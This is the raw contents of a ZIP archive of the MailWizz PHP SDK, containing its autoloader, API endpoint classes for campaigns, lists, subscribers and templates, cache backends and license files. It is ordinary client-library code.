    * * @author Serban George Cristian * @package MailWizzApi * @since 1.0 */ class MailWizzApi_Autoloader { /** * The registrable autoloader * * @param string $class */ public static function autoloader($class) { if (strpos($class, 'MailWizzApi') === 0) { $className = str_replace('_', '/', $class); $className = substr($className, 12); if (is_file($classFile = dirname(__FILE__) . '/'. $className.'.php')) { require_once($classFile); } } } /** * Registers the MailWizzApi_Autoloader::autoloader() */ public static function register() { spl_autoload_register( array('MailWizzApi_Autoloader', 'autoloader'), true, true); } }PKq\5 'mailwizz/MailWizzApi/ParamsIterator.phpnu[ * @link http://www.yiiframework.com/ * @copyright 2008-2013 Yii Software LLC * @license http://www.yiiframework.com/license/ */ /** * CMapIterator implements an iterator for {@link CMap}. * * It allows CMap to return a new iterator for traversing the items in the map. * * @author Qiang Xue * @package system.collections * @since 1.0 */ /** * MailWizzApi_ParamsIterator implements an interator for {@link MailWizzApi_Params}. * * It allows MailWizzApi_Params to return a new iterator for traversing the items in the map. * * @author Serban George Cristian * @link http://www.mailwizz.com * @copyright 2013-2015 http://www.mailwizz.com/ * @package MailWizzApi * @since 1.0 * * Implementation based on CMapIterator class file from the Yii framework. * Please see /license/yiiframework.txt file for license info. */ class MailWizzApi_ParamsIterator implements Iterator { /** * @var array the data to be iterated through */ private $_data; /** * @var array list of keys in the map */ private $_keys; /** * @var mixed current key */ private $_key; /** * Constructor. * @param array $data the data to be iterated through */ public function __construct(&$data) { $this->_data =& $data; $this->_keys = array_keys($data); $this->_key = reset($this->_keys); } /** * Rewinds internal array pointer. * This method is required by the interface Iterator. */ public function rewind() { $this->_key = reset($this->_keys); } /** * Returns the key of the current array element. * This method is required by the interface Iterator. * @return mixed the key of the current array element */ public function key() { return $this->_key; } /** * Returns the current array element. * This method is required by the interface Iterator. * @return mixed the current array element */ public function current() { return $this->_data[$this->_key]; } /** * Moves the internal pointer to the next array element. * This method is required by the interface Iterator. */ public function next() { $this->_key = next($this->_keys); } /** * Returns whether there is an element at current position. * This method is required by the interface Iterator. * @return boolean */ public function valid() { return $this->_key !== false; } }PKq\3:33+mailwizz/MailWizzApi/Endpoint/Customers.phpnu[ * @link http://www.mailwizz.com/ * @copyright 2013-2015 http://www.mailwizz.com/ */ /** * MailWizzApi_Endpoint_Customers handles all the API calls for customers. * * @author Serban George Cristian * @package MailWizzApi * @subpackage Endpoint * @since 1.0 */ class MailWizzApi_Endpoint_Customers extends MailWizzApi_Base { /** * Create a new mail list for the customer * * The $data param must contain following indexed arrays: * -> customer * -> company * * @param array $data * @return MailWizzApi_Http_Response */ public function create(array $data) { if (isset($data['customer']['password'])) { $data['customer']['confirm_password'] = $data['customer']['password']; } if (isset($data['customer']['email'])) { $data['customer']['confirm_email'] = $data['customer']['email']; } if (empty($data['customer']['timezone'])) { $data['customer']['timezone'] = 'UTC'; } $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_POST, 'url' => $this->config->getApiUrl('customers'), 'paramsPost' => $data, )); return $response = $client->request(); } }PKq\8Ƅ+mailwizz/MailWizzApi/Endpoint/Countries.phpnu[ * @link http://www.mailwizz.com/ * @copyright 2013-2015 http://www.mailwizz.com/ */ /** * MailWizzApi_Endpoint_Countries handles all the API calls for handling the countries and their zones. * * @author Serban George Cristian * @package MailWizzApi * @subpackage Endpoint * @since 1.0 */ class MailWizzApi_Endpoint_Countries extends MailWizzApi_Base { /** * Get all available countries * * Note, the results returned by this endpoint can be cached. * * @param integer $page * @param integer $perPage * @return MailWizzApi_Http_Response */ public function getCountries($page = 1, $perPage = 10) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_GET, 'url' => $this->config->getApiUrl('countries'), 'paramsGet' => array( 'page' => (int)$page, 'per_page' => (int)$perPage ), 'enableCache' => true, )); return $response = $client->request(); } /** * Get all available country zones * * Note, the results returned by this endpoint can be cached. * * @param integer $countryId * @param integer $page * @param integer $perPage * @return MailWizzApi_Http_Response */ public function getZones($countryId, $page = 1, $perPage = 10) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_GET, 'url' => $this->config->getApiUrl(sprintf('countries/%d/zones', $countryId)), 'paramsGet' => array( 'page' => (int)$page, 'per_page' => (int)$perPage ), 'enableCache' => true, )); return $response = $client->request(); } }PKq\h 4QPP+mailwizz/MailWizzApi/Endpoint/Templates.phpnu[ * @link http://www.mailwizz.com/ * @copyright 2013-2015 http://www.mailwizz.com/ */ /** * MailWizzApi_Endpoint_Templates handles all the API calls for email templates. * * @author Serban George Cristian * @package MailWizzApi * @subpackage Endpoint * @since 1.0 */ class MailWizzApi_Endpoint_Templates extends MailWizzApi_Base { /** * Get all the email templates of the current customer * * Note, the results returned by this endpoint can be cached. * * @param integer $page * @param integer $perPage * @return MailWizzApi_Http_Response */ public function getTemplates($page = 1, $perPage = 10) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_GET, 'url' => $this->config->getApiUrl('templates'), 'paramsGet' => array( 'page' => (int)$page, 'per_page' => (int)$perPage ), 'enableCache' => true, )); return $response = $client->request(); } /** * Get one template * * Note, the results returned by this endpoint can be cached. * * @param string $templateUid * @return MailWizzApi_Http_Response */ public function getTemplate($templateUid) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_GET, 'url' => $this->config->getApiUrl(sprintf('templates/%s', (string)$templateUid)), 'paramsGet' => array(), 'enableCache' => true, )); return $response = $client->request(); } /** * Create a new template * * @param array $data * @return MailWizzApi_Http_Response */ public function create(array $data) { if (isset($data['content'])) { $data['content'] = base64_encode($data['content']); } if (isset($data['archive'])) { $data['archive'] = base64_encode($data['archive']); } $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_POST, 'url' => $this->config->getApiUrl('templates'), 'paramsPost' => array( 'template' => $data ), )); return $response = $client->request(); } /** * Update existing template for the customer * * @param string $templateUid * @param array $data * @return MailWizzApi_Http_Response */ public function update($templateUid, array $data) { if (isset($data['content'])) { $data['content'] = base64_encode($data['content']); } if (isset($data['archive'])) { $data['archive'] = base64_encode($data['archive']); } $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_PUT, 'url' => $this->config->getApiUrl(sprintf('templates/%s', $templateUid)), 'paramsPut' => array( 'template' => $data ), )); return $response = $client->request(); } /** * Delete existing template for the customer * * @param string $templateUid * @return MailWizzApi_Http_Response */ public function delete($templateUid) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_DELETE, 'url' => $this->config->getApiUrl(sprintf('templates/%s', $templateUid)), )); return $response = $client->request(); } }PKq\j+mailwizz/MailWizzApi/Endpoint/Campaigns.phpnu[ * @link http://www.mailwizz.com/ * @copyright 2013-2015 http://www.mailwizz.com/ */ /** * MailWizzApi_Endpoint_Campaigns handles all the API calls for campaigns. * * @author Serban George Cristian * @package MailWizzApi * @subpackage Endpoint * @since 1.0 */ class MailWizzApi_Endpoint_Campaigns extends MailWizzApi_Base { /** * Get all the campaigns of the current customer * * Note, the results returned by this endpoint can be cached. * * @param integer $page * @param integer $perPage * @return MailWizzApi_Http_Response */ public function getCampaigns($page = 1, $perPage = 10) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_GET, 'url' => $this->config->getApiUrl('campaigns'), 'paramsGet' => array( 'page' => (int)$page, 'per_page' => (int)$perPage ), 'enableCache' => true, )); return $response = $client->request(); } /** * Get one campaign * * Note, the results returned by this endpoint can be cached. * * @param string $campaignUid * @return MailWizzApi_Http_Response */ public function getCampaign($campaignUid) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_GET, 'url' => $this->config->getApiUrl(sprintf('campaigns/%s', (string)$campaignUid)), 'paramsGet' => array(), 'enableCache' => true, )); return $response = $client->request(); } /** * Create a new campaign * * @param array $data * @return MailWizzApi_Http_Response */ public function create(array $data) { if (isset($data['template']['content'])) { $data['template']['content'] = base64_encode($data['template']['content']); } if (isset($data['template']['archive'])) { $data['template']['archive'] = base64_encode($data['template']['archive']); } if (isset($data['template']['plain_text'])) { $data['template']['plain_text'] = base64_encode($data['template']['plain_text']); } $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_POST, 'url' => $this->config->getApiUrl('campaigns'), 'paramsPost' => array( 'campaign' => $data ), )); return $response = $client->request(); } /** * Update existing campaign for the customer * * @param string $campaignUid * @param array $data * @return MailWizzApi_Http_Response */ public function update($campaignUid, array $data) { if (isset($data['template']['content'])) { $data['template']['content'] = base64_encode($data['template']['content']); } if (isset($data['template']['archive'])) { $data['template']['archive'] = base64_encode($data['template']['archive']); } if (isset($data['template']['plain_text'])) { $data['template']['plain_text'] = base64_encode($data['template']['plain_text']); } $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_PUT, 'url' => $this->config->getApiUrl(sprintf('campaigns/%s', $campaignUid)), 'paramsPut' => array( 'campaign' => $data ), )); return $response = $client->request(); } /** * Copy existing campaign for the customer * * @param string $campaignUid * @return MailWizzApi_Http_Response */ public function copy($campaignUid) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_POST, 'url' => $this->config->getApiUrl(sprintf('campaigns/%s/copy', $campaignUid)), )); return $response = $client->request(); } /** * Pause/Unpause existing campaign * * @param string $campaignUid * @return MailWizzApi_Http_Response */ public function pauseUnpause($campaignUid) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_PUT, 'url' => $this->config->getApiUrl(sprintf('campaigns/%s/pause-unpause', $campaignUid)), )); return $response = $client->request(); } /** * Mark existing campaign as sent * * @param string $campaignUid * @return MailWizzApi_Http_Response */ public function markSent($campaignUid) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_PUT, 'url' => $this->config->getApiUrl(sprintf('campaigns/%s/mark-sent', $campaignUid)), )); return $response = $client->request(); } /** * Delete existing campaign for the customer * * @param string $campaignUid * @return MailWizzApi_Http_Response */ public function delete($campaignUid) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_DELETE, 'url' => $this->config->getApiUrl(sprintf('campaigns/%s', $campaignUid)), )); return $response = $client->request(); } } PKq\-a,mailwizz/MailWizzApi/Endpoint/ListFields.phpnu[ * @link http://www.mailwizz.com/ * @copyright 2013-2015 http://www.mailwizz.com/ */ /** * MailWizzApi_Endpoint_ListFields handles all the API calls for handling the list custom fields. * * @author Serban George Cristian * @package MailWizzApi * @subpackage Endpoint * @since 1.0 */ class MailWizzApi_Endpoint_ListFields extends MailWizzApi_Base { /** * Get fields from a certain mail list * * Note, the results returned by this endpoint can be cached. * * @param string $listUid * @return MailWizzApi_Http_Response */ public function getFields($listUid) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_GET, 'url' => $this->config->getApiUrl(sprintf('lists/%s/fields', $listUid)), 'paramsGet' => array(), 'enableCache' => true, )); return $response = $client->request(); } }PKq\Pb.mailwizz/MailWizzApi/Endpoint/ListSegments.phpnu[ * @link http://www.mailwizz.com/ * @copyright 2013-2015 http://www.mailwizz.com/ */ /** * MailWizzApi_Endpoint_ListSegments handles all the API calls for handling the list segments. * * @author Serban George Cristian * @package MailWizzApi * @subpackage Endpoint * @since 1.0 */ class MailWizzApi_Endpoint_ListSegments extends MailWizzApi_Base { /** * Get segments from a certain mail list * * Note, the results returned by this endpoint can be cached. * * @param string $listUid * @param integer $page * @param integer $perPage * @return MailWizzApi_Http_Response */ public function getSegments($listUid, $page = 1, $perPage = 10) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_GET, 'url' => $this->config->getApiUrl(sprintf('lists/%s/segments', $listUid)), 'paramsGet' => array( 'page' => (int)$page, 'per_page' => (int)$perPage ), 'enableCache' => true, )); return $response = $client->request(); } }PKq\W  5mailwizz/MailWizzApi/Endpoint/TransactionalEmails.phpnu[ * @link http://www.mailwizz.com/ * @copyright 2013-2015 http://www.mailwizz.com/ */ /** * MailWizzApi_Endpoint_TransactionalEmails handles all the API calls for transactional emails. * * @author Serban George Cristian * @package MailWizzApi * @subpackage Endpoint * @since 1.0 */ class MailWizzApi_Endpoint_TransactionalEmails extends MailWizzApi_Base { /** * Get all transactional emails of the current customer * * Note, the results returned by this endpoint can be cached. * * @param integer $page * @param integer $perPage * @return MailWizzApi_Http_Response */ public function getEmails($page = 1, $perPage = 10) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_GET, 'url' => $this->config->getApiUrl('transactional-emails'), 'paramsGet' => array( 'page' => (int)$page, 'per_page' => (int)$perPage ), 'enableCache' => true, )); return $response = $client->request(); } /** * Get one transactional email * * Note, the results returned by this endpoint can be cached. * * @param string $emailUid * @return MailWizzApi_Http_Response */ public function getEmail($emailUid) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_GET, 'url' => $this->config->getApiUrl(sprintf('transactional-emails/%s', (string)$emailUid)), 'paramsGet' => array(), 'enableCache' => true, )); return $response = $client->request(); } /** * Create a new transactional email * * @param array $data * @return MailWizzApi_Http_Response */ public function create(array $data) { if (!empty($data['body'])) { $data['body'] = base64_encode($data['body']); } if (!empty($data['plain_text'])) { $data['plain_text'] = base64_encode($data['plain_text']); } $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_POST, 'url' => $this->config->getApiUrl('transactional-emails'), 'paramsPost' => array( 'email' => $data ), )); return $response = $client->request(); } /** * Delete existing transactional email * * @param string $emailUid * @return MailWizzApi_Http_Response */ public function delete($emailUid) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_DELETE, 'url' => $this->config->getApiUrl(sprintf('transactional-emails/%s', $emailUid)), )); return $response = $client->request(); } }PKq\t+%v v 1mailwizz/MailWizzApi/Endpoint/ListSubscribers.phpnu[ * @link http://www.mailwizz.com/ * @copyright 2013-2015 http://www.mailwizz.com/ */ /** * MailWizzApi_Endpoint_ListSubscribers handles all the API calls for lists subscribers. * * @author Serban George Cristian * @package MailWizzApi * @subpackage Endpoint * @since 1.0 */ class MailWizzApi_Endpoint_ListSubscribers extends MailWizzApi_Base { /** * Get subscribers from a certain mail list * * Note, the results returned by this endpoint can be cached. * * @param string $listUid * @param integer $page * @param integer $perPage * @param array $fields * @return MailWizzApi_Http_Response */ public function getSubscribers($listUid, $page = 1, $perPage = 10) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_GET, 'url' => $this->config->getApiUrl(sprintf('lists/%s/subscribers', $listUid)), 'paramsGet' => array( 'page' => (int)$page, 'per_page' => (int)$perPage, ), 'enableCache' => true, )); return $response = $client->request(); } /** * Get one subscriber from a certain mail list * * Note, the results returned by this endpoint can be cached. * * @param string $listUid * @param string $subscriberUid * @return MailWizzApi_Http_Response */ public function getSubscriber($listUid, $subscriberUid) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_GET, 'url' => $this->config->getApiUrl(sprintf('lists/%s/subscribers/%s', (string)$listUid, (string)$subscriberUid)), 'paramsGet' => array(), 'enableCache' => true, )); return $response = $client->request(); } /** * Create a new subscriber in the given list * * @param string $listUid * @param array $data * @return MailWizzApi_Http_Response */ public function create($listUid, array $data) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_POST, 'url' => $this->config->getApiUrl(sprintf('lists/%s/subscribers', (string)$listUid)), 'paramsPost' => $data, )); return $response = $client->request(); } /** * Update existing subscriber in given list * * @param string $listUid * @param string $subscriberUid * @param array $data * @return MailWizzApi_Http_Response */ public function update($listUid, $subscriberUid, array $data) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_PUT, 'url' => $this->config->getApiUrl(sprintf('lists/%s/subscribers/%s', (string)$listUid, (string)$subscriberUid)), 'paramsPut' => $data, )); return $response = $client->request(); } /** * Unsubscribe existing subscriber from given list * * @param string $listUid * @param string $subscriberUid * @return MailWizzApi_Http_Response */ public function unsubscribe($listUid, $subscriberUid) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_PUT, 'url' => $this->config->getApiUrl(sprintf('lists/%s/subscribers/%s/unsubscribe', (string)$listUid, (string)$subscriberUid)), 'paramsPut' => array(), )); return $response = $client->request(); } /** * Unsubscribe existing subscriber by email address * * @param string $listUid * @param string emailAddress * @return MailWizzApi_Http_Response */ public function unsubscribeByEmail($listUid, $emailAddress) { $response = $this->emailSearch($listUid, $emailAddress); // the request failed. if ($response->isCurlError) { return $response; } $bodyData = $response->body->itemAt('data'); // subscriber not found. if ($response->isError && $response->httpCode == 404) { return $response; } if (empty($bodyData['subscriber_uid'])) { return $response; } return $this->unsubscribe($listUid, $bodyData['subscriber_uid']); } /** * Delete existing subscriber in given list * * @param string $listUid * @param string $subscriberUid * @return MailWizzApi_Http_Response */ public function delete($listUid, $subscriberUid) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_DELETE, 'url' => $this->config->getApiUrl(sprintf('lists/%s/subscribers/%s', (string)$listUid, (string)$subscriberUid)), 'paramsDelete' => array(), )); return $response = $client->request(); } /** * Delete existing subscriber by email address * * @param string $listUid * @param string emailAddress * @return MailWizzApi_Http_Response */ public function deleteByEmail($listUid, $emailAddress) { $response = $this->emailSearch($listUid, $emailAddress); $bodyData = $response->body->itemAt('data'); if ($response->isError || empty($bodyData['subscriber_uid'])) { return $response; } return $this->delete($listUid, $bodyData['subscriber_uid']); } /** * Search in a list for given subscriber by email address * * @param string $listUid * @param string $emailAddress * @return MailWizzApi_Http_Response */ public function emailSearch($listUid, $emailAddress) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_GET, 'url' => $this->config->getApiUrl(sprintf('lists/%s/subscribers/search-by-email', (string)$listUid)), 'paramsGet' => array('EMAIL' => (string)$emailAddress), )); return $response = $client->request(); } /** * Search in a all lists for given subscriber by email address * Please note that this is available only for mailwizz >= 1.3.6.2 * * @param string $emailAddress * @return MailWizzApi_Http_Response */ public function emailSearchAllLists($emailAddress) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_GET, 'url' => $this->config->getApiUrl('lists/subscribers/search-by-email-in-all-lists'), 'paramsGet' => array('EMAIL' => (string)$emailAddress), )); return $response = $client->request(); } /** * Create or update a subscriber in given list * * @param string $listUid * @param array $data * @return MailWizzApi_Http_Response */ public function createUpdate($listUid, $data) { $emailAddress = !empty($data['EMAIL']) ? $data['EMAIL'] : null; $response = $this->emailSearch($listUid, $emailAddress); // the request failed. if ($response->isCurlError) { return $response; } $bodyData = $response->body->itemAt('data'); // subscriber not found. if ($response->isError && $response->httpCode == 404) { return $this->create($listUid, $data); } if (empty($bodyData['subscriber_uid'])) { return $response; } return $this->update($listUid, $bodyData['subscriber_uid'], $data); } } PKq\0֋'mailwizz/MailWizzApi/Endpoint/Lists.phpnu[ * @link http://www.mailwizz.com/ * @copyright 2013-2015 http://www.mailwizz.com/ */ /** * MailWizzApi_Endpoint_Lists handles all the API calls for lists. * * @author Serban George Cristian * @package MailWizzApi * @subpackage Endpoint * @since 1.0 */ class MailWizzApi_Endpoint_Lists extends MailWizzApi_Base { /** * Get all the mail list of the current customer * * Note, the results returned by this endpoint can be cached. * * @param integer $page * @param integer $perPage * @return MailWizzApi_Http_Response */ public function getLists($page = 1, $perPage = 10) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_GET, 'url' => $this->config->getApiUrl('lists'), 'paramsGet' => array( 'page' => (int)$page, 'per_page' => (int)$perPage ), 'enableCache' => true, )); return $response = $client->request(); } /** * Get one list * * Note, the results returned by this endpoint can be cached. * * @param string $listUid * @return MailWizzApi_Http_Response */ public function getList($listUid) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_GET, 'url' => $this->config->getApiUrl(sprintf('lists/%s', (string)$listUid)), 'paramsGet' => array(), 'enableCache' => true, )); return $response = $client->request(); } /** * Create a new mail list for the customer * * The $data param must contain following indexed arrays: * -> general * -> defaults * -> notifications * -> company * * @param array $data * @return MailWizzApi_Http_Response */ public function create(array $data) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_POST, 'url' => $this->config->getApiUrl('lists'), 'paramsPost' => $data, )); return $response = $client->request(); } /** * Update existing mail list for the customer * * The $data param must contain following indexed arrays: * -> general * -> defaults * -> notifications * -> company * * @param string $listUid * @param array $data * @return MailWizzApi_Http_Response */ public function update($listUid, array $data) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_PUT, 'url' => $this->config->getApiUrl(sprintf('lists/%s', $listUid)), 'paramsPut' => $data, )); return $response = $client->request(); } /** * Copy existing mail list for the customer * * @param string $listUid * @return MailWizzApi_Http_Response */ public function copy($listUid) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_POST, 'url' => $this->config->getApiUrl(sprintf('lists/%s/copy', $listUid)), )); return $response = $client->request(); } /** * Delete existing mail list for the customer * * @param string $listUid * @return MailWizzApi_Http_Response */ public function delete($listUid) { $client = new MailWizzApi_Http_Client(array( 'method' => MailWizzApi_Http_Client::METHOD_DELETE, 'url' => $this->config->getApiUrl(sprintf('lists/%s', $listUid)), )); return $response = $client->request(); } }PKq\2%mailwizz/MailWizzApi/license/json.txtnu[Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. PKq\o ==1mailwizz/MailWizzApi/license/mailwizz-php-sdk.txtnu[Copyright (c) 2013 Serban George Cristian Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. PKq\f2zz-mailwizz/MailWizzApi/license/yiiframework.txtnu[The Yii framework is free software. It is released under the terms of the following BSD License. Copyright (c) 2008-2013 by Yii Software LLC (http://www.yiisoft.com) All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Yii Software LLC nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. PKq\6"mailwizz/MailWizzApi/Cache/Apc.phpnu[ * @link http://www.mailwizz.com/ * @copyright 2013-2015 http://www.mailwizz.com/ */ /** * MailWizzApi_Cache_Apc makes use of the APC extension in order to cache data in memory. * * As all the data will stay in memory, it is recommeded that will be used only if * the system has enough memory, or for development/small servers. * * @author Serban George Cristian * @package MailWizzApi * @subpackage Cache * @since 1.0 */ class MailWizzApi_Cache_Apc extends MailWizzApi_Cache_Abstract { /** * Cache data by given key. * * For consistency, the key will go through sha1() before it is saved. * * This method implements {@link MailWizzApi_Cache_Abstract::set()}. * * @param string $key * @param mixed $value * @return bool */ public function set($key, $value) { return apc_store(sha1($key), $value, 0); } /** * Get cached data by given key. * * For consistency, the key will go through sha1() * before it will be used to retrieve the cached data. * * This method implements {@link MailWizzApi_Cache_Abstract::get()}. * * @param string $key * @return mixed */ public function get($key) { return apc_fetch(sha1($key)); } /** * Delete cached data by given key. * * For consistency, the key will go through sha1() * before it will be used to delete the cached data. * * This method implements {@link MailWizzApi_Cache_Abstract::delete()}. * * @param string $key * @return bool */ public function delete($key) { return apc_delete(sha1($key)); } /** * Delete all cached data. * * This method implements {@link MailWizzApi_Cache_Abstract::flush()}. * * @return bool */ public function flush() { return apc_clear_cache('user'); } }PKq\$mailwizz/MailWizzApi/Cache/Dummy.phpnu[ * @link http://www.mailwizz.com/ * @copyright 2013-2015 http://www.mailwizz.com/ */ /** * MailWizzApi_Cache_Dummy is used for testing purposes, when you use the sdk with cache but don't want to * really cache anything. * * @author Serban George Cristian * @package MailWizzApi * @subpackage Cache * @since 1.0 */ class MailWizzApi_Cache_Dummy extends MailWizzApi_Cache_Abstract { /** * Cache data by given key. * * This method implements {@link MailWizzApi_Cache_Abstract::set()}. * * @param string $key * @param mixed $value * @return bool */ public function set($key, $value) { return true; } /** * Get cached data by given key. * * This method implements {@link MailWizzApi_Cache_Abstract::get()}. * * @param string $key * @return mixed */ public function get($key) { return null; } /** * Delete cached data by given key. * * This method implements {@link MailWizzApi_Cache_Abstract::delete()}. * * @param string $key * @return bool */ public function delete($key) { return true; } /** * Delete all cached data. * * This method implements {@link MailWizzApi_Cache_Abstract::flush()}. * * @return bool */ public function flush() { return true; } }PKq\jr %mailwizz/MailWizzApi/Cache/Xcache.phpnu[ * @link http://www.mailwizz.com/ * @copyright 2013-2015 http://www.mailwizz.com/ */ /** * MailWizzApi_Cache_Xcache makes use of the xcache extension in order to cache data in memory. * * As all the data will stay in memory, it is recommeded that will be used only if * the system has enough memory, or for development/small servers. * * @author Serban George Cristian * @package MailWizzApi * @subpackage Cache * @since 1.0 */ class MailWizzApi_Cache_Xcache extends MailWizzApi_Cache_Abstract { /** * Cache data by given key. * * For consistency, the key will go through sha1() before it is saved. * * This method implements {@link MailWizzApi_Cache_Abstract::set()}. * * @param string $key * @param mixed $value * @return bool */ public function set($key, $value) { return xcache_set(sha1($key), $value, 0); } /** * Get cached data by given key. * * For consistency, the key will go through sha1() * before it will be used to retrieve the cached data. * * This method implements {@link MailWizzApi_Cache_Abstract::get()}. * * @param string $key * @return mixed */ public function get($key) { return xcache_isset(sha1($key)) ? xcache_get(sha1($key)) : null; } /** * Delete cached data by given key. * * For consistency, the key will go through sha1() * before it will be used to delete the cached data. * * This method implements {@link MailWizzApi_Cache_Abstract::delete()}. * * @param string $key * @return bool */ public function delete($key) { return xcache_unset(sha1($key)); } /** * Delete all cached data. * * This method implements {@link MailWizzApi_Cache_Abstract::flush()}. * * @return bool */ public function flush() { for ($i = 0, $max = xcache_count(XC_TYPE_VAR); $i < $max; $i++) { if (xcache_clear_cache(XC_TYPE_VAR, $i) === false) { return false; } } return true; } }PKq\{{*mailwizz/MailWizzApi/Cache/data/index.htmlnu[ 403 Forbidden

    Directory access is forbidden.

